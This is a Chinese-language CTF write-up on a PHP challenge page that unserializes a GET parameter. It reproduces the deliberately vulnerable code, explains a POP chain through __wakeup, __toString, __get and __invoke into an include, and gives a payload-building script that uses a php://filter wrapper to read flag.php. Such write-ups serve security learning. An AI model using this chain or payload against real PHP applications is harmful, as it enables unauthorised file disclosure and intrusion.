Welcome to index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize($_GET ['pop' ]); } else { $a =new Show; highlight_file(__FILE__ ); }
Modifier这个类这边有高危函数include 通过构造链连接到这边 还有invoke这个魔术方法: 对象本身是不能够当做函数去使用的,一旦被当做函数使用,就会回调执行 _ _invoke()方法。
1 2 3 4 5 6 7 8 9 class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } }
test这个类这边就直接触发到invoke() 了 然后是触发这个_ _get()方法 _ _get()方法将在访问不存在的成员变量时触发 就能将$p-> $var show这个类这边 这是pop链构造的开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }
根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的 _ wakeup()魔术方法 。 _ wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了toString()方法; 如果 _ toString()其中str赋值为一个实例化的Test类 ,而且其类不含有source属性 ,所以会调用Test中的 _ get()方法。 如果_ get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理 ,所以会调用Modifier类中的 _ invoke()方法。 利用文件包含漏洞,使用_invoke()读取flag.php的内容 。 Modifier::_ invoke()<–Test:: _get()<–show::__toString()反序列化一个Show($a) 就能调用wakeup $a 会被赋值给source ,让$a是一个实例化的Show类就能调用toString 让$a的show类str赋值为Test类 最后让str这个Test类的p赋值为Modifier类
构造如下序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } public function __toString(){ return "asdasd"; } } class Test{ public $p; } $a = new Show('aaa'); $a->str = new Test(); $a->str->p = new Modifier(); $b = new Show($a); echo urlencode(serialize($b)); ?>
这边urlencode没有这个不知道为什么无回显
然后base64解码就好了